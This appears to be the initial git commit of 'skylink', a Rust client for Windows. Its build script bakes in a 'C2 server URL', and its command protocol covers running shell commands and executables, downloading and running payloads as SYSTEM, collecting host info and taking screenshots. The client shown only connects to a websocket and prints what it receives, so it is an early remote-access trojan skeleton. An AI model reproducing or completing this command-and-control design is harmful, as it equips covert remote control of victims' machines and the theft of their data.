commit df22b0bd5e61b661fa4ff2591493f4e902b6fb35 Author: Xory Date: Wed Nov 12 21:06:45 2025 +0200 init: basic foundation diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..67b0b3f --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +/target +Cargo.lock +flake.lock +.env diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..e1c1ab8 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "skylink" +version = "1.0.0" +edition = "2024" +build = "build.rs" + +[dependencies] +tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] } +tokio-tungstenite = "0.28" +reqwest = "0.12" +serde = "1.0" +serde_json = "1.0" +windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE OR THE BUILD WILL BREAK + "Win32_Foundation", + "Win32_System_Com", + "Win32_System_Com_Marshal", + "Win32_System_Threading" +]} +anyhow = "1.0.100" +futures-util = "0.3.31" + +[build-dependencies] +dotenv = "0.15.0" +winresource = "0.1" diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..77dea88 --- /dev/null +++ b/LICENSE @@ -0,0 +1,15 @@ + DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + Version 2, December 2004 + + Copyright (C) 2004 Sam Hocevar + + Everyone is permitted to copy and distribute verbatim or modified + copies of this license document, and changing it is allowed as long + as the name is changed. + + DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. You just DO WHAT THE FUCK YOU WANT TO. + + diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..500dc40 --- /dev/null +++ b/build.rs @@ -0,0 +1,17 @@ +use dotenv::dotenv; +use std::env; +use winresource; + +fn main() { + // Bake C2 server URL into client at build time + dotenv().ok(); + println!("cargo:rerun-if-changed=.env"); + let c2_server = env::var("C2_SERVER_URL").expect("C2 Server not defined in .env"); + println!("cargo:rustc-env=C2_SERVER_URL={}", c2_server); + + // Windows compile shit. + if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" { + let res = winresource::WindowsResource::new(); + res.compile().unwrap(); + } +} diff --git a/flake.lock b/flake.lock new file mode 100644 index 0000000..90396b4 --- /dev/null +++ b/flake.lock @@ -0,0 +1,61 @@ +{ + "nodes": { + "flake-utils": { + "inputs": { + "systems": "systems" + }, + "locked": { + "lastModified": 1731533236, + "narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=", + "owner": "numtide", + "repo": "flake-utils", + "rev": "11707dc2f618dd54ca8739b309ec4fc024de578b", + "type": "github" + }, + "original": { + "owner": "numtide", + "repo": "flake-utils", + "type": "github" + } + }, + "nixpkgs": { + "locked": { + "lastModified": 1762844143, + "narHash": "sha256-SlybxLZ1/e4T2lb1czEtWVzDCVSTvk9WLwGhmxFmBxI=", + "owner": "nixos", + "repo": "nixpkgs", + "rev": "9da7f1cf7f8a6e2a7cb3001b048546c92a8258b4", + "type": "github" + }, + "original": { + "owner": "nixos", + "ref": "nixos-unstable", + "repo": "nixpkgs", + "type": "github" + } + }, + "root": { + "inputs": { + "flake-utils": "flake-utils", + "nixpkgs": "nixpkgs" + } + }, + "systems": { + "locked": { + "lastModified": 1681028828, + "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=", + "owner": "nix-systems", + "repo": "default", + "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e", + "type": "github" + }, + "original": { + "owner": "nix-systems", + "repo": "default", + "type": "github" + } + } + }, + "root": "root", + "version": 7 +} diff --git a/flake.nix b/flake.nix new file mode 100644 index 0000000..748b1a6 --- /dev/null +++ b/flake.nix @@ -0,0 +1,17 @@ +{ + description = "Skylink"; + + inputs = { + nixpkgs.url = "github:nixos/nixpkgs?ref=nixos-unstable"; + flake-utils.url = "github:numtide/flake-utils"; + }; + + outputs = { self, nixpkgs, flake-utils }: + flake-utils.lib.eachDefaultSystem + (system: + let pkgs = nixpkgs.legacyPackages.${system}; in + { + devShells.default = import ./shell.nix { inherit pkgs; }; + } + ); +} diff --git a/rustfmt.toml b/rustfmt.toml new file mode 100644 index 0000000..9d9aba5 --- /dev/null +++ b/rustfmt.toml @@ -0,0 +1,2 @@ +tab_spaces = 2 + diff --git a/shell.nix b/shell.nix new file mode 100644 index 0000000..63004b3 --- /dev/null +++ b/shell.nix @@ -0,0 +1,14 @@ +{ pkgs ? import {} }: +with pkgs; +mkShell { + buildInputs = [ + pkgsCross.mingwW64.buildPackages.gcc + pkgsCross.mingwW64.buildPackages.glibc + rustup + libpthread-stubs + pkg-config + openssl + ]; + CARGO_TARGET_X86_64_PC_WINDOWS_GNU_RUSTFLAGS = "-L native=${pkgs.pkgsCross.mingwW64.windows.pthreads}/lib"; + +} diff --git a/src/lib.rs b/src/lib.rs new file mode 100644 index 0000000..5e9d5e0 --- /dev/null +++ b/src/lib.rs @@ -0,0 +1,28 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Deserialize, Serialize)] +pub enum PayloadType { + Executable, + Python, + Powershell, +} + +#[derive(Deserialize, Serialize)] +pub struct DnxParams<'a> { + pub url: &'a str, + pub name: &'a str, + pub args: &'a str, + pub run_as_system: bool, + pub file_type: PayloadType, +} + +#[derive(Deserialize, Serialize)] +pub enum Command<'a> { + RunCMD { command: &'a str }, + URunCMD { command: &'a str }, + RunExe { path: &'a str, args: &'a str }, + URunExe { path: &'a str, args: &'a str }, + ClientInfo, + Dnx { params: DnxParams<'a> }, + Screenshot, +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..ccb265a --- /dev/null +++ b/src/main.rs @@ -0,0 +1,49 @@ +use futures_util::stream::StreamExt; +use skylink::{Command, DnxParams, PayloadType}; + +// Some parts of this function were generated by an LLM. I'm taking note of this in case a +// weird barely detectable bug pops up, as LLMs tend to generate. +async fn websocket_handler() { + use std::time::Duration; + use tokio_tungstenite::connect_async; + use tokio_tungstenite::tungstenite::protocol::Message; + + let url = "ws://127.0.0.1:8080"; + loop { + match connect_async(url).await { + Ok(ws_stream_tuple) => { + println!("[i] Connected via websocket."); // TODO Use logger over println + let (mut ws_stream, _) = ws_stream_tuple; + while let Some(msg) = ws_stream.next().await { + match msg { + Ok(Message::Text(text)) => { + println!("{}", &text); + } + Ok(Message::Close(_)) => { + println!("[i] Disconnected."); + break; + } + Err(e) => { + eprintln!("Error receiving message: {:?}", e); + break; + } + _ => { + // Ignore other message types + } + } + } + } + Err(e) => { + eprintln!("[e] Failed to connect: {:?}", e); // TODO logger > println + } + } + println!("[i] Connection lost, reconnecting in 5 seconds..."); + tokio::time::sleep(Duration::from_secs(5)).await; + } +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + websocket_handler().await; + Ok(()) +}